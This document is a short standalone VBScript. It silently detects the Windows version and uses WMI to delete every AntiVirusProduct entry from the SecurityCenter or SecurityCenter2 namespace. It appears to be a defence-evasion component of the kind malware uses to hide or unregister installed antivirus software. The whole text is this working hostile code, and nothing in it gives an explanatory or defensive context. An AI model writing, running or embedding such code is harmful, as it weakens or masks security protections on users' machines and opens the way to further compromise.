On Error Resume Next Set shell = CreateObject("WScript.Shell") Set getOSVersion = shell.exec("%comspec% /c ver") version = getOSVersion.stdout.readall Select Case True Case InStr(version, "n 5.") > 1 : GetOS = 0 'Windows XP Case InStr(version, "n 6.") > 1 : GetOS = 1 'Windows Vista, 7, 8, 8.1 Case InStr(version, "n 10.") > 1 : GetOS = 1 'Windows 10 Case Else : GetOS = -1 End Select strComputer = "." If GetOS = 0 Then Set oWMI = GetObject( _ "winmgmts:{impersonationLevel=impersonate}!\\" & strComputer & "\root\SecurityCenter") Set colItems = oWMI.ExecQuery("Select * from AntiVirusProduct") For Each objItem In colItems objItem.Delete_ Next End If If GetOS = 1 Then Set oWMI = GetObject( _ "winmgmts:{impersonationLevel=impersonate}!\\" & strComputer & "\root\SecurityCenter2") Set colItems = oWMI.ExecQuery("Select * from AntiVirusProduct") For Each objItem In colItems objItem.Delete_ Next End If